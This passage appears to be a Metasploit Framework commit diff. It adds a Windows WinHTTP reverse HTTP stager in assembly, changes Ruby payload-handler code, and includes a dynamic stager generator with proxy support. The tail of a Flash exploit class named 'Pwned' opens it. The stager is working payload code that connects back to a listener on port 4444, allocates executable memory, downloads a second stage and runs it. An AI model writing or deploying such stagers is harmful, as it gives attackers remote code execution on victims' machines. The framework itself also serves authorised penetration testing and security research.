arg_88:uint, arg_89:uint, arg_8a:uint, arg_8b:uint, arg_8c:uint, arg_8d:uint, arg_8e:uint, arg_8f:uint,
arg_90:uint, arg_91:uint, arg_92:uint, arg_93:uint, arg_94:uint, arg_95:uint, arg_96:uint, arg_97:uint,
arg_98:uint, arg_99:uint, arg_9a:uint, arg_9b:uint, arg_9c:uint, arg_9d:uint, arg_9e:uint, arg_9f:uint,
arg_a0:uint, arg_a1:uint, arg_a2:uint, arg_a3:uint, arg_a4:uint, arg_a5:uint, arg_a6:uint, arg_a7:uint,
arg_a8:uint, arg_a9:uint, arg_aa:uint, arg_ab:uint, arg_ac:uint, arg_ad:uint, arg_ae:uint, arg_af:uint,
arg_b0:uint, arg_b1:uint, arg_b2:uint, arg_b3:uint, arg_b4:uint, arg_b5:uint, arg_b6:uint, arg_b7:uint,
arg_b8:uint, arg_b9:uint, arg_ba:uint, arg_bb:uint, arg_bc:uint, arg_bd:uint, arg_be:uint, arg_bf:uint,
arg_c0:uint, arg_c1:uint, arg_c2:uint, arg_c3:uint, arg_c4:uint, arg_c5:uint, arg_c6:uint, arg_c7:uint,
arg_c8:uint, arg_c9:uint, arg_ca:uint, arg_cb:uint, arg_cc:uint, arg_cd:uint, arg_ce:uint, arg_cf:uint,
arg_d0:uint, arg_d1:uint, arg_d2:uint, arg_d3:uint, arg_d4:uint, arg_d5:uint, arg_d6:uint, arg_d7:uint,
arg_d8:uint, arg_d9:uint, arg_da:uint, arg_db:uint, arg_dc:uint, arg_dd:uint, arg_de:uint, arg_df:uint,
arg_e0:uint, arg_e1:uint, arg_e2:uint, arg_e3:uint, arg_e4:uint, arg_e5:uint, arg_e6:uint, arg_e7:uint,
arg_e8:uint, arg_e9:uint, arg_ea:uint, arg_eb:uint, arg_ec:uint, arg_ed:uint, arg_ee:uint, arg_ef:uint,
arg_f0:uint, arg_f1:uint, arg_f2:uint, arg_f3:uint, arg_f4:uint, arg_f5:uint, arg_f6:uint, arg_f7:uint,
arg_f8:uint, arg_f9:uint, arg_fa:uint, arg_fb:uint, arg_fc:uint, arg_fd:uint, arg_fe:uint, arg_ff:uint):uint
{
return magic1 + magic2;
}
public function Pwned()
{
magic1 = 0xdecafbad;
magic2 = 0xdecafbad;
}
}
}

View File

@ -145,7 +145,7 @@ download_more:
test eax,eax ; download failed? (optional?)
jz failure
mov rax, [rdi]
mov ax, word ptr [edi]
add rbx, rax ; buffer += bytes_received
test rax,rax ; optional?

View File

@ -0,0 +1,138 @@
;-----------------------------------------------------------------------------;
; Author: Borja Merino (modification of the HD Moore HTTP stager based on WinINet)
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
%define u(x) __utf16__(x)
%define HTTP_OPEN_FLAGS 0x00000100
;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
; Input: EBP must be the address of 'api_call'.
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_winhttp:
push 0x00707474 ; Push the string 'winhttp',0
push 0x686E6977 ; ...
push esp ; Push a pointer to the "winhttp" string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "winhttp" )
set_retry:
push byte 6 ; retry 6 times
pop EDI
xor ebx, ebx
mov ecx, edi
push_zeros:
push ebx ; NULL values for the WinHttpOpen API parameters
loop push_zeros
WinHttpOpen:
; Flags [5]
; ProxyBypass (NULL) [4]
; ProxyName (NULL) [3]
; AccessType (DEFAULT_PROXY= 0) [2]
; UserAgent (NULL) [1]
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
call ebp
WinHttpConnect:
push ebx ; Reserved (NULL) [4]
push dword 4444 ; Port [3]
call got_server_uri ; Double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in EDI for later
dw u('/12345'), 0
got_server_host:
push eax ; Session handle returned by WinHttpOpen [1]
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
call ebp
WinHttpOpenRequest:
push HTTP_OPEN_FLAGS ; Flags [7]
push ebx ; AcceptTypes (NULL) [6]
push ebx ; Referrer (NULL) [5]
push ebx ; Version (NULL) [4]
push edi ; ObjectName (URI) [3]
push ebx ; Verb (GET method) (NULL) [2]
push eax ; Connect handler returned by WinHttpConnect [1]
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
call ebp
xchg esi, eax ; save HttpRequest handler in esi
send_request:
WinHttpSendRequest:
push ebx ; Context [7]
push ebx ; TotalLength [6]
push ebx ; OptionalLength (0) [5]
push ebx ; Optional (NULL) [4]
push ebx ; HeadersLength (0) [3]
push ebx ; Headers (NULL) [2]
push esi ; HttpRequest handler returned by WinHttpOpenRequest [1]
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
call ebp
test eax,eax
jnz short receive_response ; if TRUE call WinHttpReceiveResponse API
try_it_again:
dec edi
jnz send_request
; if we didn't allocate before running out of retries, fall through to
; failure
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
receive_response:
; The API WinHttpReceiveResponse needs to be called
; first to get a valid handler for WinHttpReadData
push ebx ; Reserved (NULL) [2]
push esi ; Request handler returned by WinHttpSendRequest [1]
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
call ebp
test eax,eax
jz failure
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; NumberOfBytesRead (bytesRead)
push 8192 ; NumberOfBytesToRead
push ebx ; Buffer
push esi ; Request handler returned by WinHttpReceiveResponse
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
call ebp
test eax,eax ; if download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
got_server_uri:
pop edi
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
server_host:

View File

@ -0,0 +1,19 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Borja Merino (bmerinofe[at]gmail.com). [WinHttp stager (Http)]
; Version: 1.0 (January 2015)
; Size: 323 bytes
; Build: >build.py stager_reverse_winhttp_http
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_reverse_winhttp_http.asm"
; By here we will have performed the reverse_tcp connection and EDI will be our socket.

View File

@ -94,7 +94,7 @@ class EncodedPayload
#
# @return [String] The raw, unencoded payload.
def generate_raw
self.raw = (reqs['Prepend'] || '') + pinst.generate + (reqs['Append'] || '')
self.raw = (reqs['Prepend'] || '') + pinst.generate_complete + (reqs['Append'] || '')
# If an encapsulation routine was supplied, then we should call it so
# that we can get the real raw payload.

View File

@ -42,7 +42,7 @@ module Msf
[
true,
'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC',
'www.metasploit.com']),
'8.8.8.8']),
OptPort.new('GATEWAY_PROBE_PORT',
[
false,
@ -143,7 +143,6 @@ module Msf
return unless self.capture
self.capture = nil
self.arp_capture = nil
GC.start()
end
def capture_extract_ies(raw)
@ -163,26 +162,15 @@ module Msf
end
#
# This monstrosity works around a series of bugs in the interrupt
# signal handling of Ruby 1.9
# Loop through each packet
#
def each_packet
return unless capture
begin
@capture_count = 0
reader = framework.threads.spawn("PcapReceiver", false) do
capture.each do |pkt|
yield(pkt)
@capture_count += 1
end
end
reader.join
rescue ::Exception
raise $!
ensure
reader.kill if reader.alive?
@capture_count ||= 0
capture.each do |pkt|
yield(pkt)
@capture_count += 1
end
@capture_count
end
@ -242,10 +230,9 @@ module Msf
pcap.inject(pkt)
Rex.sleep((delay * 1.0)/1000)
end
GC.start
end
# Capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
# capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
# a payload and a destination address. To send to the broadcast address, set bcast
# to true (this will guarantee that packets will be sent even if ARP doesn't work
# out).
@ -262,24 +249,20 @@ module Msf
# The return value either be a PacketFu::Packet object, or nil
def inject_reply(proto=:udp, pcap=self.capture)
reply = nil
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
if not pcap
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)"
else
begin
::Timeout.timeout(to) do
pcap.each do |r|
packet = PacketFu::Packet.parse(r)
next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto
reply = packet
break
end
# Defaults to ~2 seconds
to = (datastore['TIMEOUT'] * 4) / 1000.0
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap
begin
::Timeout.timeout(to) do
pcap.each do |r|
packet = PacketFu::Packet.parse(r)
next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto
return packet
end
rescue ::Timeout::Error
end
rescue ::Timeout::Error
end
return reply
nil
end
# This ascertains the correct Ethernet addresses one should use to
@ -328,20 +311,19 @@ module Msf
end
begin
to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0
::Timeout.timeout(to) do
while (my_packet = inject_reply(:udp, self.arp_capture))
if my_packet.payload == secret
dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr
src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr
return [dst_mac, src_mac]
else
next
end
loop do
my_packet = inject_reply(:udp, self.arp_capture)
next unless my_packet
next unless my_packet.payload == secret
dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr
src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr
return [dst_mac, src_mac]
end
end
rescue ::Timeout::Error
# Well, that didn't work (this common on networks where there's no gatway, like
# Well, that didn't work (this is common on networks where there's no gateway, like
# VMWare network interfaces. We'll need to use a fake source hardware address.
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
end
@ -354,26 +336,31 @@ module Msf
return self.arp_cache[:gateway] unless should_arp? target_ip
source_ip = Rex::Socket.source_address(target_ip)
raise RuntimeError, "Could not access the capture process." unless self.arp_capture
p = arp_packet(target_ip, source_ip)
inject_eth(:eth_type => 0x0806,
:payload => p,
:pcap => self.arp_capture,
:eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)]
)
begin
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
::Timeout.timeout(to) do
while (my_packet = inject_reply(:arp, self.arp_capture))
if my_packet.arp_saddr_ip == target_ip
# Try up to 3 times to get an ARP response
1.upto(3) do
inject_eth(:eth_type => 0x0806,
:payload => p,
:pcap => self.arp_capture,
:eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)]
)
begin
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0
::Timeout.timeout(to) do
loop do
my_packet = inject_reply(:arp, self.arp_capture)
next unless my_packet
next unless my_packet.arp_saddr_ip == target_ip
self.arp_cache[target_ip] = my_packet.eth_saddr
return self.arp_cache[target_ip]
else
next
end
end
rescue ::Timeout::Error
end
rescue ::Timeout::Error
end
nil
end
# Creates a full ARP packet, mainly for use with inject_eth()

View File

@ -76,7 +76,6 @@ module Exploit::Remote::Ipv6
return if not @ipv6_icmp6_capture
@ipv6_icmp6_capture = nil
GC.start()
end
#

View File

@ -256,11 +256,11 @@ module ReverseHopHttp
:expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'],
:proxyhost => datastore['PROXYHOST'],
:proxyport => datastore['PROXYPORT'],
:proxy_type => datastore['PROXY_TYPE'],
:proxy_username => datastore['PROXY_USERNAME'],
:proxy_password => datastore['PROXY_PASSWORD']
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass']
blob = encode_stage(blob)

View File

@ -53,22 +53,17 @@ module ReverseHttp
OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]),
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]),
OptBool.new('OverrideRequestHost', [ false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false ]),
OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>' ])
], Msf::Handler::ReverseHttp)
end
# Toggle for IPv4 vs IPv6 mode
#
def ipv6?
Rex::Socket.is_ipv6?(datastore['LHOST'])
end
# Determine where to bind the server
#
# @return [String]
def listener_address
if datastore['ReverseListenerBindAddress'].to_s.empty?
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
if datastore['ReverseListenerBindAddress'].to_s == ""
bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0'
else
bindaddr = datastore['ReverseListenerBindAddress']
end
@ -76,14 +71,12 @@ module ReverseHttp
bindaddr
end
# Return a URI suitable for placing in a payload
#
# @return [String] A URI of the form +scheme://host:port/+
def listener_uri
if ipv6?
listen_host = "[#{listener_address}]"
else
listen_host = listener_address
end
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address
"#{scheme}://#{uri_host}:#{datastore['LPORT']}/"
end
# Return a URI suitable for placing in a payload.
@ -92,13 +85,15 @@ module ReverseHttp
# addresses.
#
# @return [String] A URI of the form +scheme://host:port/+
def payload_uri
if ipv6?
callback_host = "[#{datastore['LHOST']}]"
def payload_uri(req)
if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost']
callback_host = req.headers['Host']
elsif ipv6?
callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}"
else
callback_host = datastore['LHOST']
callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}"
end
"#{scheme}://#{callback_host}:#{datastore['LPORT']}/"
"#{scheme}://#{callback_host}/"
end
# Use the {#refname} to determine whether this handler uses SSL or not
@ -155,6 +150,7 @@ module ReverseHttp
'VirtualDirectory' => true)
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
lookup_proxy_settings
end
#
@ -172,6 +168,45 @@ module ReverseHttp
protected
#
# Parses the proxy settings and returns a hash
#
def lookup_proxy_settings
info = {}
return @proxy_settings if @proxy_settings
if datastore['PayloadProxyHost'].to_s == ""
@proxy_settings = info
return @proxy_settings
end
info[:host] = datastore['PayloadProxyHost'].to_s
info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i
info[:type] = datastore['PayloadProxyType'].to_s
uri_host = info[:host]
if Rex::Socket.is_ipv6?(uri_host)
uri_host = "[#{info[:host]}]"
end
info[:info] = "#{uri_host}:#{info[:port]}"
if info[:type] == "SOCKS"
info[:info] = "socks=#{info[:info]}"
else
info[:info] = "http://#{info[:info]}"
if datastore['PayloadProxyUser'].to_s != ""
info[:username] = datastore['PayloadProxyUser'].to_s
end
if datastore['PayloadProxyPass'].to_s != ""
info[:password] = datastore['PayloadProxyPass'].to_s
end
end
@proxy_settings = info
end
#
# Parses the HTTPS request
#
@ -186,7 +221,7 @@ protected
case uri_match
when /^\/INITPY/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = payload_uri + conn_id + '/'
url = payload_uri(req) + conn_id + '/'
blob = ""
blob << obj.generate_stage
@ -201,8 +236,8 @@ protected
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
unless datastore['PROXYHOST'].blank?
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
unless datastore['PayloadProxyHost'].blank?
proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}"
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
end
@ -221,7 +256,7 @@ protected
when /^\/INITJM/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = payload_uri + conn_id + "/\x00"
url = payload_uri(req) + conn_id + "/\x00"
blob = ""
blob << obj.generate_stage
@ -249,7 +284,7 @@ protected
when /^\/A?INITM?/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = payload_uri + conn_id + "/\x00"
url = payload_uri(req) + conn_id + "/\x00"
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
resp['Content-Type'] = 'application/octet-stream'
@ -265,11 +300,11 @@ protected
:expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'],
:proxyhost => datastore['PROXYHOST'],
:proxyport => datastore['PROXYPORT'],
:proxy_type => datastore['PROXY_TYPE'],
:proxy_username => datastore['PROXY_USERNAME'],
:proxy_password => datastore['PROXY_PASSWORD']
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass']
resp.body = encode_stage(blob)
@ -294,7 +329,7 @@ protected
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => payload_uri + conn_id + "/\x00",
:url => payload_uri(req) + conn_id + "/\x00",
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?,

View File

@ -40,11 +40,11 @@ module ReverseHttpsProxy
[
OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]),
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]),
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]),
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]),
OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]),
OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]),
OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"])
], Msf::Handler::ReverseHttpsProxy)
register_advanced_options(

View File

@ -311,6 +311,13 @@ class Payload < Msf::Module
internal_generate
end
#
# Generates the payload and returns the raw buffer to the caller,
# handling any post-processing tasks, such as prepended code stubs.
def generate_complete
apply_prepends(generate)
end
#
# Substitutes variables with values from the module's datastore in the
# supplied raw buffer for a given set of named offsets. For instance,
@ -465,6 +472,13 @@ class Payload < Msf::Module
return nops
end
#
# A placeholder stub, to be overriden by mixins
#
def apply_prepends(raw)
raw
end
##
#
# Event notifications.

View File

@ -91,9 +91,7 @@ module Msf::Payload::Linux
#
# Overload the generate() call to prefix our stubs
#
def generate(*args)
# Call the real generator to get the payload
buf = super(*args)
def apply_prepends(buf)
pre = ''
app = ''

View File

@ -38,9 +38,11 @@ module Msf::Payload::Windows
'none' => 0x5DE2C5AA, # GetLastError
}
def generate
return prepends(super)
#
# Implement payload prepends for Windows payloads
#
def apply_prepends(raw)
apply_prepend_migrate(raw)
end
#

View File

@ -34,7 +34,7 @@ module Msf::Payload::Windows::PrependMigrate
#
# Overload the generate() call to prefix our stubs
#
def prepends(buf)
def apply_prepend_migrate(buf)
pre = ''
test_arch = [ *(self.arch) ]

View File

@ -16,6 +16,7 @@ module Msf
module Payload::Windows::ReverseHttp
include Msf::Payload::Windows
include Msf::Payload::Windows::BlockApi
include Msf::Payload::Windows::Exitfunk
@ -26,7 +27,13 @@ module Payload::Windows::ReverseHttp
super
register_advanced_options(
[
OptInt.new('HTTPStagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
], self.class)
end
@ -40,7 +47,8 @@ module Payload::Windows::ReverseHttp
ssl: false,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW))
url: generate_small_uri,
retry_count: datastore['StagerRetryCount'])
end
conf = {
@ -48,7 +56,13 @@ module Payload::Windows::ReverseHttp
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC']
exitfunk: datastore['EXITFUNC'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
proxy_user: datastore['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass'],
proxy_type: datastore['PayloadProxyType'],
retry_count: datastore['StagerRetryCount']
}
generate_reverse_http(conf)
@ -74,7 +88,7 @@ module Payload::Windows::ReverseHttp
#
def generate_uri
uri_req_len = datastore['HTTPStagerURILength'].to_i
uri_req_len = datastore['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
@ -82,12 +96,19 @@ module Payload::Windows::ReverseHttp
end
if uri_req_len < 5
raise ArgumentError, "Minimum HTTPStagerURILength is 5"
raise ArgumentError, "Minimum StagerURILength is 5"
end
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
end
#
# Generate the URI for the initial stager
#
def generate_small_uri
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW)
end
#
# Determine the maximum amount of space required for the features requested
#
@ -104,23 +125,49 @@ module Payload::Windows::ReverseHttp
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# Proxy options?
space += 200
# The final estimated size
space
end
#
# Dynamic payload generation
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [String] :proxy_host The optional proxy server host to use
# @option opts [Fixnum] :proxy_port The optional proxy server port to use
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
# @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
#
def asm_reverse_http(opts={})
#
# options should contain:
# ssl: (true|false)
# url: "/url_to_request"
# host: [hostname]
# port: [port]
# exitfunk: [process|thread|seh|sleep]
#
retry_count = [opts[:retry_count].to_i, 1].max
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
proxy_info = ""
if proxy_enabled
if opts[:proxy_type].to_s.downcase == "socks"
proxy_info << "socks="
else
proxy_info << "http://"
end
proxy_info << opts[:proxy_host].to_s
if opts[:proxy_port].to_i > 0
proxy_info << ":#{opts[:proxy_port]}"
end
end
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
http_open_flags = 0
@ -145,14 +192,11 @@ module Payload::Windows::ReverseHttp
asm = %Q^
;-----------------------------------------------------------------------------;
; Author: HD Moore
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
; Version: 1.0
;-----------------------------------------------------------------------------;
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
@ -160,53 +204,108 @@ module Payload::Windows::ReverseHttp
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
xor ebx, ebx ; Set ebx to NULL to use in future arguments
^
set_retry:
push.i8 8 ; retry 8 times should be enough
pop edi
xor ebx, ebx ; push 8 zeros ([1]-[8])
mov ecx, edi
push_zeros:
push ebx
loop push_zeros
internetopen:
; DWORD dwFlags [1]
; LPCTSTR lpszProxyBypass (NULL) [2]
; LPCTSTR lpszProxyName (NULL) [3]
; DWORD dwAccessType (PRECONFIG = 0) [4]
; LPCTSTR lpszAgent (NULL) [5]
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
if proxy_enabled
asm << %Q^
internetopen:
push ebx ; DWORD dwFlags
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
call get_proxy_server
db "#{proxy_info}", 0x00
get_proxy_server:
; LPCTSTR lpszProxyName (via call)
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
^
else
asm << %Q^
internetopen:
push ebx ; DWORD dwFlags
push ebx ; LPCTSTR lpszProxyBypass (NULL)
push ebx ; LPCTSTR lpszProxyName (NULL)
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
^
end
asm << %Q^
internetconnect:
; DWORD_PTR dwContext (NULL) [6]
; dwFlags [7]
push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ebx ; DWORD_PTR dwContext (NULL)
push ebx ; dwFlags
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ebx ; password (NULL)
push ebx ; username (NULL)
push #{opts[:port]} ; PORT
call got_server_uri ; double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in EDI for later
server_uri: ; server_host; server_uri is saved in EDI for later
db "#{opts[:url]}", 0x00
got_server_host:
push eax ; HINTERNET hInternet
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
mov esi, eax ; Store hConnection in esi
^
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
# doesn't set the Proxy-Authorization header on the CONNECT request.
if proxy_enabled && proxy_user
asm << %Q^
; DWORD dwBufferLength (length of username)
push #{proxy_user.length}
call set_proxy_username
proxy_username:
db "#{proxy_user}",0x00
set_proxy_username:
; LPVOID lpBuffer (username from previous call)
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
^
end
if proxy_enabled && proxy_pass
asm << %Q^
; DWORD dwBufferLength (length of password)
push #{proxy_pass.length}
call set_proxy_password
proxy_password:
db "#{proxy_pass}",0x00
set_proxy_password:
; LPVOID lpBuffer (password from previous call)
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
^
end
asm << %Q^
httpopenrequest:
; dwContext (NULL) [8]
push ebx ; dwContext (NULL)
push #{"0x%.8x" % http_open_flags} ; dwFlags
push ebx ; accept types
push ebx ; referrer
push ebx ; version
push edi ; server URI
push ebx ; method
push eax ; hConnection
push esi ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
xchg esi, eax ; save hHttpRequest in esi
; Store our retry counter in the edi register
set_retry:
push #{retry_count}
pop edi
send_request:
^
@ -221,9 +320,9 @@ module Payload::Windows::ReverseHttp
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
mov eax, esp
